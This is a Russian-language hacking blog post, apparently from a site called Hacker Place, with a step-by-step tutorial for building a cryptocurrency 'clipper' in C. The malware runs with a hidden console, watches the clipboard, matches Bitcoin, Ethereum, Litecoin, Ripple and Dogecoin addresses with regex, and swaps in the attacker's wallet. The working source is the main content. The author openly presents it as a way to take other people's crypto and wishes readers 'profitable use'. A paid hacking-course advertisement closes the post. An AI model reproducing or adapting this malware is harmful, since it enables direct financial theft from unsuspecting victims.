Hacking
December 19, 2021

Как получать чужую крипту на свой кошелек

Салют, Аноним! На связи Golden - глава Hacker Place

Сегодня мы с тобой создадим клиппер, который будет подменять чужие крипто-кошельки на наш. Таким образом, криптовалюта, отправляемая жертвой на чей-либо кошелек, окажется у нас.

Звучит заманчиво? Еще бы, давай разбираться!


Что такое клиппер?

Для начала, давай разберемся, что вообще есть клиппер.

Клиппер - это вредоносная программа, заменяющая криптоадреса в буфере обмена на адреса злоумышленника (наш), дабы жертва во время отправки монет отправила их к злоумышленнику (нам).


Как устроен клиппер?

Все выглядит достаточно просто. Разбираем каждый блок. Получение и подмена буфера обмена может быть реализована через любую библиотеку, работающую с winapi на любом языке. Как же проверять, является ли текст адресом?

Ответ - регулярные выражения (regex). Что же это?

Regex

Регулярные выражения - это формальный язык, благодаря которому можно проверять соответствие текста определенным критериям - длина, набор букв и т.д.

Почитать подробнее о них можно, например, здесь. Проверка на соответствие происходит по паттернам (англ. pattern, у нас обычно используется термин "шаблон"). Паттерны можно спокойно найти в интернете по запросу "*название крипты* address regex".


Пишем свой клиппер

Я буду писать на C, но его можно написать хоть на питоне, хотя я не рекомендую этого делать.

  • Создаем проект в Visual Studio, в нем создаем главный файл, я назвал его main.c.
Т.к. в стандартной библиотеке C нет библиотеки для регулярок, я буду использовать до невозможности сырую, но единственную и компактную библиотеку tiny-regex-c.
  • Скачиваем re.c и re.h, импортируем их в проект.
  • Импортируем нужные библиотеки в main.c и скрываем консоль через ключевые слова для компилятора (pragma):
#include "re.h"
#include <windows.h>
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
  • Пишем функции для получения и подмены буфера обмена:
char* getclipboard()
{
    static HANDLE clip;
    if (OpenClipboard(NULL))
    {
        clip = GetClipboardData(CF_TEXT);
        CloseClipboard();
    }
    return (char*)clip;
}

void setclipboard(char* text)
{
    HGLOBAL global = GlobalAlloc(GMEM_FIXED, strlen(text) + 1);
    memcpy(global, text, strlen(text));
    if (OpenClipboard(NULL))
    {
        EmptyClipboard();
        SetClipboardData(CF_TEXT, global);
        CloseClipboard();
    }
}
  • Создаем структуру для кошельков, она позволит без сложностей добавлять новые кошельки в клиппер (а с помощью регулярок, можно будет добавить хоть подмену ссылок оплаты).
typedef struct crypto {
    char* ptn;
    char* address;
};
  • Основная функция main. Создаем в ней переменные с нашими кошельками:
const char* btcadr = "";
    const char* segwitadr = "";
    const char* ethadr = "";
    const char* ltcadr = "";
    const char* xrpadr = "";
    const char* dogeadr = "";
  • Создаем структуры для кошельков и объединяем их в один список. Переменная ptn - паттерн regex, переменная address - адрес, который будет подменяться.
  • У меня будет 5 криптовалют - Bitcoin (+SegWit адреса (bc1q)), Ethereum, Litecoin, Ripple, Dogecoin:
    struct crypto btc = { .ptn = "^[13][a-km-zA-HJ-NP-Z1-9]*quot;,                .address = btcadr }; // фиксированная длина не поддерживается в tiny regex
    struct crypto segwit = { .ptn = "^bc1q[a-zA-HJ-NP-Z0-9]*quot;,                .address = segwitadr }; // на p2pkh и p2wpkh разные регулярки, так как изменение легаси адреса на сегвит (bc1q) будет заметно
    struct crypto eth = { .ptn = "^0x[a-fA-F0-9]*quot;,                        .address = ethadr };
    struct crypto ltc = { .ptn = "^[LM3][a-km-zA-HJ-NP-Z1-9]*quot;,            .address = ltcadr };
    struct crypto xrp = { .ptn = "^r[0-9a-zA-Z]*quot;,                            .address = xrpadr };
    struct crypto doge = { .ptn = "^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]*quot;,    .address = dogeadr };


    struct crypto all[6] = { btc, segwit, eth, ltc, xrp, doge }; // где 6 - количество сервисов

В регулярных выражениях стоит нефиксированное (*) число повторов. Это не так безопасно, так как, скажем, текст 1abc подойдет по регулярке и будет подменен. Используется из-за того, что в tiny-regex-c нельзя прописать фиксированное количество повторов.

Во всех языках, где это поддерживается, призываю ставить фиксированное количество повторов, соответствующее типу адреса.
  • Основной цикл:
    while (1) {
        char* clipdata = getclipboard(); // получение буфера обмена
        if (clipdata != NULL) { // если в буфере что-то есть
            for (int i = 0; i < 6; i++) { // цикл из всех типов кошельков, где 6 - количество сервисов
                int matchlen;
                int match = re_match(all[i].ptn, clipdata, &matchlen); // проверка, является ли текст в буфере соответствующим адресом
                if (match != -1) { // если является, подмена буфера обмена на заданный в коде адрес
                    setclipboard(all[i].address);
                }
            }
        }
        Sleep(50); // чтобы не грузило проц, после каждой проверки сон на 0.05 сек
    }
В комментариях кода я прописал, за что отвечает каждая команда.

На написание этого клиппера у меня ушло ~полчаса. Всего 65 строк, итоговый стаб весит 12.5кб.

Добавлять подмену других адресов по регулярке можно таким же образом, как добавлены кошельки выше. Отправку информации о ПК и прочую херню может впаять любой желающий, при наличии гугла.



Вывод

Написать свой клиппер может любой желающий. Причем для людей, не умеющих в кодинг, в интернете лежит множество исходников, благодаря которым затраты на недобросовестных кодеров сокращаются в разы.

С самописным клиппером ты будешь уверен в том, что ничего левого не запускается и подмена идёт именно на твой адрес. Так же ты сможешь добавить/поменять что угодно и в любой момент. Твой клиппер будет исключительно твоим и исключительно в твоих руках.

На этом у меня все! Желаю приятного и профитного использования!

Кстати, если ты хочешь освоить хакинг и начать зарабатывать на нем, то не упусти свой шанс:

АКАDЕМИЯ. НАБОР


Осталось всего 7 мест, так что советую поторопиться.


  • 4 курса - Безопасность, Хакинг, Вирусология, Социальная Инженерия.
  • Более 70 лекций с новыми знаниями.
  • Более 40 дней обучения.
  • Собственная среда обучения.

Мы рассказываем все от А до Я и предоставляем тебе выбор, пойти туда, куда интересно тебе. Что может быть лучше, чем заниматься тем, что нравится и с каждым днём совершенствоваться? Ничего. Никакая офисная работа рядом даже не станет.

Это твоя возможность поменять свое мышление, свою жизнь и получить новую прибыльную профессию без всяких мусорных дипломов.

🎄Куда же без новогоднях чудес? Я не Санта, но подготовил тебе подарок — 15% скидку на обучение.

Не упусти свой шанс, ведь следующую скидку придётся ждать целый год.

▫️Индивидуальное обучение — $420 — $357 ▫️Групповое обучение — $240 — $204

Так же у нас есть вариант рассрочки.

▪️ Набор продлится до 22 декабря.

▪️ Подробно про обучение здесь: https://www.hackerplace.org/hacking-academy

▪️ Если есть вопросы, пиши мне в ЛС: @golden_hpa